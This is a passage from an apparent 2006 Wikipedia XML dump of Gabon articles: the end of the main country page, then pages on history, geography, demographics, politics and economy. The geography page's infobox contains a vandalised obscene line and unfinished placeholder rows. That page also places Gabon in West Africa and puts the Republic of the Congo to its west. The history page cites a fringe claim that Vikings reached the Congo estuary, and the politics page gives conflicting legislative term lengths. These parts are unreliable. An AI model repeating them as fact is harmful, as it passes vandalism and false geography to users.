In provisional results his ruling [[Gabonese Democratic Party]] (PDG) won 84 out of 120 parliamentary seats. As with previous Gabonese elections in which the opposition parties have contested, there were several accusations of electoral fraud, bribery, and calls for a boycott. There were also incidences of violence and protest, particularly in the first round of voting held two weeks prior. However, several international observers including the Economic Community of Central African States have reported that the election &quot;met international standards&quot; for [[democracy|democratic]] voting.  

''See: [[List of Presidents of Gabon]]''

== Geography ==
''Main article: [[Geography of Gabon]]''
[[Image:Chancery.jpg|thumb|Chancery building, [[Libreville]]]]

Gabon is located on the [[Atlantic Ocean|Atlantic]] coast of central Africa. Clockwise from the northwest, it is bounded by [[Equatorial Guinea]], [[Cameroon]], and the [[Republic of Congo]].
Gabon's largest river is the [[Ogooué]]. Gabon is also noted for efforts to preserve the natural environment with what may be the largest area of [[nature parks]] in the world.

Administratively, Gabon is divided into 9 provinces and further divided into 37 departments (''départements'').

''See: [[List of places in Gabon]], [[Provinces of Gabon]], [[Departments of Gabon]]''

== Economy ==
[[Image:Gabon sm04.png|thumb|right|270px|Map of Gabon]]
''Main article: [[Economy of Gabon]]''

Gabon is more prosperous than most nearby countries, with a [[per capita income]] of four times the average for [[Sub-Saharan Africa]]. This is in large part due to offshore [[petroleum|oil]] production that has produced substantial wealth, although the distribution of income from this industry is extremely unequal.  Gabon was a full member of [[Organization of the Petroleum Exporting Countries|OPEC]] from 1975 to 1995.

During the 1990s, [[devaluation]] of  the [[CFA franc]] left Gabon struggling to pay its overseas [[Third World debt|debt]]; [[France]] and the [[International Monetary Fund|IMF]] have provided further loans and aid in exchange for the implementation of changes to the economy.

== Demographics ==
''Main article: [[Demographics of Gabon]]''

Almost all [[Gabon]]ese are of [[Bantu]] origin. Gabon has at least 40 [[ethnic group]]s with separate languages and cultures. The largest is the [[Beti-Pahuin#Fang|Fang]]. Others include the [[Myene]], [[Bandjabi]], [[Eshira]], [[Bapounou]], and [[Okande]].  Ethnic group boundaries are less sharply drawn in Gabon than elsewhere in [[Africa]]. [[French language|French]], the [[official language]], is a unifying force. More than 10,000 [[French people]] live in Gabon, and France predominates foreign cultural and commercial influences. Historical and environmental factors caused Gabon's population to decline between [[1900]] and [[1940]]. It is one of the least-densely inhabited countries in Africa, and a labor shortage is a major obstacle to development and a draw for foreign workers. The population is generally accepted to be just over 1 million but remains in dispute.

'''[[Population]]:'''
1,208,436
&lt;br&gt;''note:''
Estimates for this country explicitly take into account the effects of excess mortality due to [[AIDS]]; this can result in lower [[life expectancy]], higher [[infant mortality]] and [[death]] rates, lower population and growth rates, and changes in the distribution of population by age and sex than would otherwise be expected (July 2000 est.)

== Culture ==
''Main article: [[Culture of Gabon]]''
* [[Bwiti]]
* [[Ethnic groups of Gabon]]
* [[List of African writers (by country)#Gabon|List of writers from Gabon]]
* [[Music of Gabon]]

==Miscellaneous topics==
* [[Communications in Gabon]]
* [[Foreign relations of Gabon]]
* [[List of Gabon-related topics]]
* [[List of Gabonese companies]]
* [[Military of Gabon]]
* [[Postage stamps and postal history of Gabon]]
* [[Transportation in Gabon]]

==References==
* [[David E. Gardinier]], ''Historical Dictionary of Gabon'', 2nd ed. (The Scarecrow Press, 1994) - a comprehensive work, with a bibliography of 1,453 items
* James F. Barnes, ''Gabon: Beyond the Colonial Legacy'' (Boulder: Westview, 1992)

==External links==
{{sisterlinks|Gabon}}

===Government===
*[http://www.legabon.org Le Gabon : official site of the Gabonese Republic]
*[http://www.assemblee.ga/ Assemblée Nationale du Gabon] official site
*[http://gabon.embassyhomepage.com/ Gabonese Embassy in London] government information and links
*[http://www.senat.ga/ Le Sénat de la République Gabonaise] official site (in French)

===News===
* [http://allafrica.com/gabon/ AllAfrica.com - ''Gabon''] news headline links

===Overviews===
*[http://news.bbc.co.uk/1/hi/world/africa/country_profiles/1023203.stm BBC News Country Profile - ''Gabon'']
* [http://www.cia.gov/cia/publications/factbook/geos/gb.html CIA World Factbook - ''Gabon'']

===Ethnic Groups===
* [http://www.pygmies.info/ Baka Pygmies of Cameroon and Gabon] Culture and music of the first inhabitants of Gabon

===Directories===
* [http://dmoz.org/Regional/Africa/Gabon/ Open Directory Project - ''Gabon''] directory category
*[http://www-sul.stanford.edu/depts/ssrg/africa/gabon.html Stanford University - Africa South of the Sahara: ''Gabon''] directory category
*[http://www.sas.upenn.edu/African_Studies/Country_Specific/Gabon.html University of Pennsylvania - African Studies Center: ''Gabon''] directory category
* [http://dir.yahoo.com/Regional/Countries/Gabon/ Yahoo! - ''Gabon''] directory category

===Tourism===
*{{wikitravel}}

{{Africa}}
[[Category:African Union member states]]
[[Category:Peace and Security Council]]
[[Category:Gabon|*]]

[[af:Gaboen]]
[[am:ጋቦን]]
[[ar:الغابون]]
[[zh-min-nan:Gabon]]
[[bn:গ্যাবন]]
[[bs:Gabon]]
[[ca:Gabon]]
[[cs:Gabon]]
[[cy:Gabon]]
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[[de:Gabun]]
[[et:Gabon]]
[[es:Gabón]]
[[eo:Gabono]]
[[eu:Gabon]]
[[fr:Gabon]]
[[gl:Gabón - Gabon]]
[[ko:가봉]]
[[hr:Gabon]]
[[io:Gabon]]
[[id:Gabon]]
[[is:Gabon]]
[[it:Gabon]]
[[he:גבון]]
[[lv:Gabona]]
[[lt:Gabonas]]
[[li:Gabon]]
[[hu:Gabon]]
[[ms:Gabon]]
[[nl:Gabon]]
[[nds:Gabun]]
[[ja:ガボン]]
[[no:Gabon]]
[[nn:Gabon]]
[[oc:Categoria:Gabon]]
[[pl:Gabon]]
[[pt:Gabão]]
[[ro:Gabon]]
[[ru:Габон]]
[[sa:गाबोन]]
[[sq:Gaboni]]
[[sk:Gabon]]
[[sl:Gabon]]
[[sr:Габон]]
[[fi:Gabon]]
[[sv:Gabon]]
[[tl:Gabon]]
[[th:ประเทศกาบอง]]
[[tpi:Gabon]]
[[tr:Gabon]]
[[uk:Габон]]
[[yi:גאַבאָן]]
[[zh:加蓬]]</text>
    </revision>
  </page>
  <page>
    <title>History of Gabon</title>
    <id>12028</id>
    <revision>
      <id>40601603</id>
      <timestamp>2006-02-21T19:24:15Z</timestamp>
      <contributor>
        <username>Bastin8</username>
        <id>154626</id>
      </contributor>
      <minor />
      <comment>Kingdom of England</comment>
      <text xml:space="preserve">During the last seven centuries, Bantu ethnic groups arrived in the area from several directions to escape enemies or find new land. Little is known of tribal life before [[Europe|European]] contact, but tribal art suggests rich cultural heritages. Gabon's first confirmed European visitors were [[Portugal|Portuguese]] traders who arrived in the [[15th century]] and named the country after the Portuguese word &quot;gabao,&quot; a coat with sleeve and hood resembling the shape of the Komo River estuary. The coast became center of the slave trade. [[Netherlands|Dutch]], [[Kingdom of England|English]], and [[France|French]] traders came in the [[16th century]]. The authority on Germanic history, Professor Heinar Schilling, stated in his book ''Germanisches Leben'' (Koehler &amp; Amelang, Leipzig, 1937, second imprint at pp. 189): &quot;The high point of Nordic seafaring was reached around the year 1000, at which time the Vikings penetrated as far south as the Congo estuary.&quot; Professor Schilling made no further statement in this regard.

France assumed the status of protector by signing treaties with Gabonese coastal chiefs in [[1839]] and [[1841]]. [[United States|American]] missionaries from [[New England]] established a mission at Baraka (now [[Libreville]]) in [[1842]]. In [[1849]], the French captured a slave ship and released the passengers at the mouth of the [[Komo River]]. The slaves named their settlement Libreville-&quot;free town.&quot;

French explorers penetrated Gabon's dense jungles between [[1862]] and [[1887]]. The most famous, [[Savorgnan de Brazza]], used Gabonese bearers and guides in his search for the headwaters of the Congo River. France occupied Gabon in [[1885]] but did not administer it until [[1903]]. In [[1910]], Gabon became one of the four territories of French Equatorial Africa, a federation that survived until [[1959]]. The territories became independent on [[August 17]], [[1960]] as the [[Central African Republic]], [[Chad]], [[Congo-Brazzaville]], and Gabon.

==See also==
* [[Gabon]]
* [[Politics of Gabon]]

{{Africa in topic|History of}}

{{Former French colonies}}


[[Category:Gabon]]
[[Category:History by country|Gabon]]

[[es:Historia de Gabón]]
[[fr:Histoire du Gabon]]
[[pt:história do Gabão]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Gabon</title>
    <id>12029</id>
    <revision>
      <id>40699443</id>
      <timestamp>2006-02-22T11:29:41Z</timestamp>
      <contributor>
        <username>Lupo</username>
        <id>34978</id>
      </contributor>
      <comment>Shaded relief map</comment>
      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0.5em 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;&lt;big&gt;'''République Gabonaise'''&lt;/big&gt;&lt;/big&gt;
|-
| style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=&quot;2&quot; |
[[Image:Gabon Map.jpg|none|300px|Shaded relief map of Gabon]]
|-
| '''Continent''' || [[Africa]]
|- 
| '''[[Geographic coordinates]]''' || {{coor dm|1|00|S|11|45|E|type:country}}
|-
| '''[[Area]]'''&lt;br&gt;&amp;nbsp;- Total &lt;br&gt;&amp;nbsp;- % water
| [[List of countries by area|Ranked 74th]]&lt;br&gt;[[1 E11 m²|267,667 km&amp;sup2;]] &lt;br&gt; 3.7 % (10,000 km&amp;sup2;)
|-'''my dick is twice the size of Japan and is extremely hairy''' ||
| '''Coastline''' || 885 km
|-
| '''Highest point''' || Mont Bengoué, 1070m at 00°57'21&quot;N, 13°41'09&quot;E, NOT [[Mont Iboundji]], which is less than 1,000m, NOT 1575 m
|-
| '''Lowest point''' || [[Atlantic Ocean]], 0 m
|-
| '''Longest river''' || [[Ogooué River]]
|-
| '''Largest inland body of water''' || ??
|-
| '''Land Use'''&lt;br&gt;&amp;nbsp;- Arable land&lt;br&gt;&amp;nbsp;- Permanent&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;crops&lt;br&gt;&amp;nbsp;- Permanent&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;pastures&lt;br&gt;&amp;nbsp;- Forests and&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;woodlands&lt;br&gt;&amp;nbsp;- Other ||&lt;br&gt;1 %&lt;br&gt;&lt;br&gt;1 %&lt;br&gt;&lt;br&gt;18 %&lt;br&gt;&lt;br&gt;77 %&lt;br&gt;3 % (1993 est.)
|- 
| '''[[Climate]]''': || [[Tropics|Tropical]]
|- 
| '''add more''' || need ideas
|-
| '''Natural resources''' || [[Petroleum]], [[manganese]], [[uranium]], [[gold]], [[timber]], [[iron ore]], [[hydropower]]
|-
| '''Environmental issues''' || [[deforestation]], [[poaching]]
|}

'''[[Gabon]]''' is a country in [[West Africa]], lying along the [[Atlantic Ocean]], just south of the [[Bight of Biafra]]. 

== Borders ==

Gabon has a total of 2,251 km of international boundaries. It borders [[Equatorial Guinea]] (350 km) and [[Cameroon]] (298 km) to the north and the [[Republic of the Congo]] (1,903 km) to the west and south. Gabon lies on the [[equator]].
; Maritime claims:
:* Contiguous zone: 24 [[Nautical mile|nm]]
:* Exclusive economic zone: 200 nm
:* Territorial sea: 12 nm

==Climate==
Always hot and humid. Very hot.

==Terrain==
Narrow coastal plain; hilly interior; [[savanna]] in east and south
 Irrigated land: 40 km&amp;sup2; (1993 est.)

== Environment ==
'''International agreements:'''

'''Party to:''' [[Biodiversity]], [[United Nations Framework Convention on Climate Change|Climate Change]], [[Desertification]], [[Endangered Species]], [[Law of the Sea]], [[Marine Dumping]], [[Nuclear Test Ban]], [[Ozone Layer Protection]], [[Ship Pollution]], [[Tropical Timber 83]], [[Tropical Timber 94]], [[Wetlands]]

'''Signed, but not ratified:''' None of the selected agreements

==Other==
; Natural hazards:
: NA

{{Africa in topic|Geography of}}

[[Category:Geography of Gabon| ]]
[[Category:Geography by country]]

[[pt:Geografia do Gabão]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Gabon</title>
    <id>12030</id>
    <revision>
      <id>40323520</id>
      <timestamp>2006-02-19T20:42:50Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Fang]] to [[Beti-Pahuin#Fang]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">Almost all [[Gabon]]ese are of [[Bantu]] origin. Gabon has at least 40 [[ethnic group]]s with separate languages and cultures. The largest is the [[Beti-Pahuin#Fang|Fang]]. Others include the [[Myene]], [[Bandjabi]], [[Eshira]], [[Bapounou]], and [[Okande]].  Ethnic group boundaries are less sharply drawn in Gabon than elsewhere in [[Africa]]. [[French language|French]], the [[official language]], is a unifying force. More than 10,000 French people live in Gabon, and France predominates foreign cultural and commercial influences. Historical and environmental factors caused Gabon's population to decline between [[1900]] and [[1940]]. It is one of the least-densely inhabited countries in Africa, and a labor shortage is a major obstacle to development and a draw for foreign workers. The population is generally accepted to be just over 1 million but remains in dispute.

'''[[Population]]:'''
1,208,436
&lt;br&gt;''note:''
Estimates for this country explicitly take into account the effects of excess mortality due to [[AIDS]]; this can result in lower [[life expectancy]], higher [[infant mortality]] and [[death]] rates, lower population and growth rates, and changes in the distribution of population by age and sex than would otherwise be expected (July 2000 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
33% (male 201,737; female 200,764)
&lt;br&gt;''15-64 years:''
61% (male 371,359; female 364,982)
&lt;br&gt;''65 years and over:''
6% (male 34,478; female 35,116) (2000 est.)

'''Population growth rate:'''
1.08% (2000 est.)

'''Birth rate:'''
27.6 births/1,000 population (2000 est.)

'''Death rate:'''
16.83 deaths/1,000 population (2000 est.)

'''Net migration rate:'''
0 migrant(s)/1,000 population (2000 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.03 male(s)/female
&lt;br&gt;''under 15 years:''
1 male(s)/female
&lt;br&gt;''15-64 years:''
1.02 male(s)/female
&lt;br&gt;''65 years and over:''
0.98 male(s)/female
&lt;br&gt;''total population:''
1.01 male(s)/female (2000 est.)

'''Infant mortality rate:'''
96.3 deaths/1,000 live births (2000 est.)

'''Life expectancy at birth:'''
&lt;br&gt;''total population:''
50.08 years
&lt;br&gt;''male:''
48.94 years
&lt;br&gt;''female:''
51.26 years (2000 est.)

'''Total fertility rate:'''
3.73 children born/woman (2000 est.)

'''Nationality:'''
&lt;br&gt;''noun:''
Gabonese (singular and plural)
&lt;br&gt;''adjective:''
Gabonese

'''Ethnic groups:'''
#Bantu tribes including four major tribal groupings (Fang, Eshira, Bapounou, Bateke)
# other Africans, notably 'forrest people' (pygmee, now sedentarizing) such as the Babongo tribe 
# Europeans 154,000, including 6,000 French and 11,000 persons of dual nationality)

'''Religions:'''
[[Christianity|Christian]] 55%-75%, [[Islam|Muslim]] less than 1%, [[animism|animist]] (mainly [[Bwiti]], circa 30%, the third official religion)

'''[[Language]]s:'''
[[French language|French]] (official since colonial rule), [[Fang language|Fang]], [[Myene language|Myene]], [[Bateke language|Bateke]], Bapounou/Eschira, [[Bandjabi language|Bandjabi]]

'''[[Literacy]]:'''
&lt;br&gt;''definition:''
age 15 and over can read and write
&lt;br&gt;''total population:''
63.2%
&lt;br&gt;''male:''
73.7%
&lt;br&gt;''female:''
53.3% (1995 est.)

{{Africa in topic|Demographics of}}

[[Category:Gabon]]
[[Category:Demographics by country|Gabon]]

[[pt:Demografia do Gabão]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Gabon</title>
    <id>12031</id>
    <revision>
      <id>38562694</id>
      <timestamp>2006-02-07T03:16:03Z</timestamp>
      <contributor>
        <ip>24.200.151.167</ip>
      </contributor>
      <comment>/* Legislative branch */</comment>
      <text xml:space="preserve">{{Politics of Gabon}}
'''Politics of Gabon''' takes place in a framework of a [[semi-presidential system|semi-presidential]] [[republic]], whereby the [[President of Gabon]] is both [[head of state]] and [[head of government]], though there is also a [[Prime Minister of Gabon]]. [[Executive power]] is exercised by the government. [[Legislative power]] is vested in both the [[government]] and the two chambers of parliament. Since independence the party system is dominated by the conservative [[Gabonese Democratic Party]]. 

==Political developments==
Under the [[1961]] [[constitution]] (revised in [[1975]] and rewritten in [[1991]]), Gabon became a [[republic]] with a [[president]]ial form of government. The [[National Assembly]] has 120 [[Chamber of Deputies|deputies]] elected for a 5-year term. The president is elected by [[universal suffrage]] for a 7-year term. The president appoints the [[prime minister]], the [[cabinet]], and [[judge]]s of the independent [[Supreme Court]]. The government in [[1990]] made major changes in the political system. A transitional constitution was drafted in May as an outgrowth of a national political conference in March-April and later revised by a constitutional committee. Among its provisions were a [[Western world#Western thought|Western]]-style [[bill of rights]]; creation of a [[National Council of Democracy]], which oversees the guarantee of those rights; a governmental advisory board on [[economics|economic]] and [[social issue]]s; and an independent [[judiciary]]. After approval by the National Assembly, the PDG Central Committee, and the president, the Assembly unanimously adopted the constitution in March 1991. Multi-party [[Legislature|legislative]] [[election]]s were held in 1990-91, despite the fact that [[Opposition party|opposition parties]] had not been declared formally legal.

After a peaceful transition, the elections produced the first representative, [[Multi-party system|multi-party]], National Assembly. In January 1991, the Assembly passed by unanimous vote a law governing the [[legalization]] of opposition parties. The president was re-elected in a disputed election in [[1993]] with 51% of [[vote]]s cast. Social and political disturbances led to the [[1994]] [[Paris Conference and Accords]], which provided a framework for the next elections. Local and legislative elections were delayed until [[1996]]-[[1997]]. In 1997, [[constitutional amendment]]s were adopted to create an appointed [[Senate]], the position of [[vice president]], and to extend the president's term to 7 years. Facing a divided opposition, President [[Omar Bongo]] was re-elected in December [[1998]], with 66% of the votes cast. Although the main opposition parties claimed the elections had been manipulated, there was none of the [[Civil disobedience|civil disturbance]] that followed the 1993 election. The president retains strong powers, such as authority to dissolve the National Assembly, declare a [[Siege|state of siege]], delay legislation, conduct [[Referendum|referenda]], and appoint and dismiss the prime minister and cabinet members. For administrative purposes, Gabon is divided into 9 [[province]]s, which are further divided into 36 [[prefecture]]s and 8 separate [[subprefecture]]s. The president appoints the provincial [[governor]]s, the [[prefect]]s, and the [[subprefect]]s.

==Political conditions==
At the time of [[History of Gabon|Gabon's independence]] in [[1960]], two principal political parties existed: the [[Bloc Democratique Gabonais]] (BDG), led by [[Leon M'Ba]], and the [[Union Democratique et Sociale Gabonaise]] (UDSG), led by [[Jean-Hilaire Aubame]]. In the first post-[[independence]] election, held under a parliamentary system, neither party was able to win a [[majority]]. The BDG obtained support from three of the four independent legislative deputies, and M'Ba was named prime minister. Soon after concluding that Gabon had an insufficient number of people for a [[two-party system]], the two party leaders agreed on a single list of candidates. In the February 1961 election, held under the new presidential system, M'Ba became president and Aubame foreign minister.

This [[Single-party state|one-party system]] appeared to work until February [[1963]], when the larger BDG element forced the UDSG members to choose between a merger of the parties or resignation. The UDSG cabinet ministers resigned, and M'Ba called an election for February [[1964]] and a reduced number of National Assembly deputies (from 67 to 47). The UDSG failed to muster a list of candidates able to meet the requirements of the electoral decrees. When the BDG appeared likely to win the election by default, the [[Military of Gabon|Gabonese military]] toppled M'Ba in a bloodless [[coup]] on [[February 18]], 1964. [[Military of France|French troops]] re-established his government the next day. Elections were held in April with many opposition participants. BDG-supported candidates won 31 seats and the opposition 16. Late in [[1966]], the constitution was revised to provide for automatic succession of the vice president should the president die in office. In March [[1967]], Leon M'Ba and Omar Bongo (then Albert Bongo) were elected president and vice president. M'Ba died later that year, and Omar Bongo became president.

In March [[1968]], Bongo declared Gabon a one-party state by dissolving the BDG and establishing a new party--the Parti Democratique Gabonais. He invited all Gabonese, regardless of previous political affiliation, to participate. Bongo was elected president in February 1975 and re-elected in December [[1979]] and November [[1986]] to 7-year terms. In April 1975, the office of vice president was abolished and replaced by the office of prime minister, who has no right to automatic succession. Under the 1991 constitution, in the event of the president's death, the prime minister, the National Assembly president, and the defense minister share power until a new election is held. Using the PDG as a tool to submerge the regional and tribal rivalries that have divided Gabonese politics in the past, Bongo sought to forge a single national movement in support of the government's development policies.

Opposition to the PDG continued, however, and in September 1990, two coup attempts were uncovered and aborted. Economic discontent and a desire for political liberalization provoked violent [[demonstration]]s and strikes by students and workers in early 1990. In response to grievances by workers, Bongo negotiated with them on a sector-by-sector basis, making significant wage concessions. In addition, he promised to open up the PDG and to organize a national political conference in March-April 1990 to discuss Gabon's future political system. The PDG and 74 political organizations attended the conference. Participants essentially divided into two loose coalitions, the ruling PDG and its allies and the United Front of Opposition Associations and Parties, consisting of the breakaway Morena Fundamental and the Gabonese Progress Party.

The April conference approved sweeping political reforms, including creation of a national senate, decentralization of the [[budget]]ary process, freedom of assembly and press, and cancellation of the [[Visa (document)#Exit visas|exit visa]] requirement. In an attempt to guide the political system's transformation to multi-party democracy, Bongo resigned as PDG chairman and created a transitional government headed by a new Prime Minister, Casimir Oye-Mba. The Gabonese Social Democratic Grouping (RSDG), as the resulting government was called, was smaller than the previous government and included representatives from several opposition parties in its cabinet. The RSDG drafted a provisional constitution that provided a basic bill of rights and an independent judiciary but retained strong executive powers for the president. After further review by a constitutional committee and the National Assembly, this document came into force in March 1991.

Despite further anti-government demonstrations after the untimely death of an opposition leader, the first multi-party National Assembly elections in almost 30 years took place in September-October 1990, with the PDG garnering a large majority. Following President Bongo's re-election in December 1993 with 51% of the vote, opposition candidates refused to validate the election results. Serious civil disturbances led to an agreement between the government and opposition factions to work toward a political settlement. These talks led to the Paris Accords in November 1994 in which several opposition figures were included in a government of national unity. This arrangement soon broke down, and the 1996 and 1997 legislative and municipal elections provided the background for renewed partisan politics. The PDG won a landslide victory in the legislative election, but several major cities, including [[Libreville]], elected opposition mayors during the 1997 local election. President Bongo coasted to an easy re-election in December 1998 with 66% of the vote against a divided opposition. While Bongo's major opponents rejected the outcome as fraudulent, international observers characterized the result as representative even if the election suffered from serious administrative problems. There was no serious civil disorder or protests following the election in contrast to the 1993 election.

==Executive branch==
{{office-table}}
|[[Heads of State of Gabon|President]]
|[[Omar Bongo|El Hadj Omar Bongo Ondimba]]
|[[Gabonese Democratic Party|PDG]]
|[[2 December]] 1967
|-
|[[Heads of Government of Gabon|Prime Minister]]
|[[Jean-François Ntoutoume Emane]]
|[[Gabonese Democratic Party|PDG]]
|[[23 January]] 1999
|}
The president is elected by popular vote for a seven-year term. He appoints the prime minister. The Council of Ministers is appointed by the prime minister in consultation with the president.

==Legislative branch==
The [[Parliament of Gabon|Parliament]] (''Parlement'') has two [[bicameralism|chambers]]. The [[National Assembly of Gabon|National Assembly]] (''Assemblée Nationale'') has 120 members, 111 members elected for a five year term in single-seat [[constituency|constituencies]] and 9 members appointed by a [[head of state]] - the [[president]]. The [[Senate of Gabon|Senate]] (''Sénat'') has 91 members, elected for a six year term in single-seat [[constituency|constituencies]] by local and departemental councillors. bicameral legislature consists of the Senate (91 seats) and the National Assembly or Assemblee Nationale (120 seats); members are elected by direct popular vote to serve five-year terms.

==Political parties and elections==
{{elect|List of political parties in Gabon|Elections in Gabon}}
{{Gabonese presidential election, 2005}}
{{Gabonese parliamentary election, 2001}}

==Judicial Branch==
Gabon's [[Supreme Court]] or ''Cour Supreme'' consists of three chambers - Judicial, Administrative, and Accounts; Constitutional Court; Courts of Appeal; Court of State Security; County Courts

==Administrative divisions==
There are nine provincial administrations. These are headquartered in Estuaire, Haut-Ogooue, Moyen-Ogooue, Ngounie, [[Nyanga (province)|Nyanga]], [[Ogooué-Ivindo]], [[Ogooué-Lolo]], Ogooue-Maritime and Woleu-Ntem.

==International organization participation==
[[Agence de coopération culturelle et technique|ACCT]], ACP, [[African Development Bank|AfDB]], BDEAC, CCC, CEEAC, [[United Nations Economic Commission for Africa|ECA]], [[Food and Agriculture Organization|FAO]], FZ, G-24, [[Group of 77|G-77]], [[International Atomic Energy Agency|IAEA]], IBRD, [[International Civil Aviation Organization|ICAO]], ICC, [[International Confederation of Free Trade Unions|ICFTU]], IDA, IDB, [[International Fund for Agricultural Development|IFAD]], [[International Finance Corporation|IFC]], [[International Federation of Red Cross and Red Crescent Societies|IFRCS]] (associate), [[International Labour Organization|ILO]], [[International Monetary Fund|IMF]], IMO, [[Inmarsat]], [[Intelsat]], [[Interpol]], [[International Olympic Committee|IOC]], [[International Telecommunication Union|ITU]], [[Non-Aligned Movement|NAM]], OAU, OIC, [[Organisation for the Prohibition of Chemical Weapons|OPCW]], UDEAC, [[United Nations|UN]], [[United Nations Conference on Trade and Development|UNCTAD]], [[United Nations Educational, Scientific and Cultural Organization|UNESCO]], [[United Nations Industrial Development Organization|UNIDO]], [[Universal Postal Union|UPU]], [[World Confederation of Labour|WCL]], [[World Health Organization|WHO]], [[World Intellectual Property Organization|WIPO]], [[World Meteorological Organization|WMO]], WToO, WTrO

==See also==
* [[Gabon]]

''Original text of this article from [[CIA]] World Factbook at http://www.cia.gov/cia/publications/factbook/geos/gb.html#Govt''

{{Africa_in_topic|Politics of}}

[[Category:Politics of Gabon|*]]

[[pt:Política do Gabão]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Gabon</title>
    <id>12032</id>
    <revision>
      <id>39854742</id>
      <timestamp>2006-02-16T08:43:47Z</timestamp>
      <contributor>
        <username>Ctdunstan</username>
        <id>205959</id>
      </contributor>
      <comment>{{cleanup-date|February 2006}}</comment>
      <text xml:space="preserve">{{cleanup-date|February 2006}}

'''Gabon''' enjoys a [[per capita income]] four times that of most nations of [[sub-Saharan Africa]]. This has supported a sharp decline in [[extreme poverty]]; yet because of high income inequality a large proportion of the population remains poor. Gabon depended on [[timber]] and [[manganese]] until [[petroleum|oil]] was discovered [[offshore]] in the early [[1970s]]. The oil sector now accounts for 50% of [[Gross domestic product|GDP]] and 80% of exports. Oil production is now declining from its apogee of 370,000 barrels per day in 1997. The 1998 fall-off in oil prices had a negative impact on government revenues and the economy. Little thought or plans have been made for an [[Peak oil|after-oil]] scenario. Gabon public expenditures from the years of significant oil revenues have not been spent efficiently. Overspending on the Transgabonais railroad, the oil price shock of 1986, and the franc CFA devaluation of 1994 have caused debt problems. Gabon has earned a poor reputation with the Paris Club and the IMF for poor management of its debt and revenues. IMF missions (related to the now lapsed EFF program) have criticized the government for over-spending on off-budget items (in good years and bad), over-borrowing from the Central Bank, and slipping on the schedule for privatization and administrative reform.

Gabon's oil revenues have given it a strong per capita GDP of more than $4,000, extremely high for the region. On the other hand, a skewed income distribution and poor social indicators are evident. The economy is highly dependent on extraction of abundant primary materials. After oil, timber and manganese mining are the other major sectors.  Gabon continues to face fluctuating prices for its oil, timber, manganese, and [[uranium]] exports. Foreign and Gabonese observers have consistently lamented the lack of transformation of primary materials in the Gabonese economy. Various factors have so far stymied more diversification (a small market of 1 million people, dependence on French imports, inability to capitalize on regional markets, lack of entrepreneurial zeal among the Gabonese, and the fairly regular stream of oil &quot;rent&quot;).  The small processing and service sectors are largely dominated by just a few prominent local investors. 

In 1992, the fiscal deficit widened to 2.4% of GDP, and Gabon failed to settle [[arrear]]s on its [[bilateral]] debt, leading to a cancellation of rescheduling agreements with official and private creditors. [[Devaluation]] of its [[Francophone currency]] by 50% on [[12 January]] [[1994]] sparked a one-time [[inflationary surge]], to 35%; the rate dropped to 6% in 1996. The [[IMF]] provided a one-year standby arrangement in 1994-95 and a three-year [[Enhanced Financing Facility]] (EFF) at near commercial rates beginning in late 1995. Those agreements mandate progress in [[privatization]] and [[fiscal discipline]]. [[France]] provided additional financial support in January 1997 after Gabon had met IMF targets for mid-1996. In 1997, an IMF mission to Gabon criticized the government for overspending on off-budget items, over-borrowing from the central bank, and slipping on its schedule for privatization and administrative reform. The rebound of oil prices in 1999 helped growth, but drops in production hampered Gabon from fully realizing potential gains.

'''GDP:'''
[[purchasing power]] parity - $7.9 [[billion]] (7.9 G$) (1999 est.)

'''GDP - real growth rate:'''
1.7% (1999 est.)

'''GDP - per capita:'''
purchasing power parity - $6,500 (1999 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
10%
&lt;br&gt;''industry:''
60%
&lt;br&gt;''services:''
30% (1999 est.)

'''Population below poverty line:'''
NA%

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
NA%
&lt;br&gt;''highest 10%:''
NA%

'''Inflation rate (consumer prices):'''
2.9% (1999 est.)

'''Labour force:'''
600,000

'''Labour force - by occupation:'''
[[agriculture]] 60%, [[services]] and [[government]] 25%, [[industry]] and [[commerce]] 15%

'''Unemployment rate:'''
21% (1997 est.)

'''Budget:'''
&lt;br&gt;''revenues:''
$1.5 billion
&lt;br&gt;''expenditures:''
$1.3 billion, including capital expenditures of $302 million (1996 est.)

'''Industries:'''
[[food]] and [[beverage]]; [[textile]]; [[lumbering]] and [[plywood]]; [[cement]]; [[petroleum extraction and refining]]; [[manganese]], [[uranium]], and [[gold mining]]; [[chemical industry|chemical production]]; [[ship repair]]

'''Industrial production growth rate:'''
2.3% (1995)

'''Electricity - production:'''
1.025 TWh (1998)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
27.8%
&lt;br&gt;''hydro:''
72.2%
&lt;br&gt;''nuclear:''
0%
&lt;br&gt;''other:''
0% (1998)

'''Electricity - consumption:'''
953 GWh (1998)

'''Electricity - exports:'''
0 kWh (1998)

'''Electricity - imports:'''
0 kWh (1998)

'''Agriculture - products:'''
[[cocoa]], [[coffee]], [[sugar]], [[palm oil]], [[rubber]]; [[cattle]]; [[okoume]] (a [[tropical softwood]]); [[fish]]

'''Exports:'''
$2.4 billion (f.o.b., 1999 est.)

'''Exports - commodities:'''
[[crude oil]] 75%, [[timber]], [[manganese]], [[uranium]] (1998)

'''Exports - partners:'''
[[United States]] 68%, [[China]] 9%, [[France]] 8%, [[Japan]] 3% (1998)

'''Imports:'''
$1.2 billion (f.o.b., 1999 est.)

'''Imports - commodities:'''
[[machinery]] and equipment, [[foodstuff]]s, [[chemical]]s, [[petroleum product]]s, [[construction material]]s

'''Imports - partners:'''
[[France]] 39%, [[United States]] 6%, [[Cameroon]] 5%, [[Netherlands]] 5%, [[Côte d'Ivoire]], [[Japan]] (1998)

'''Debt - external:'''
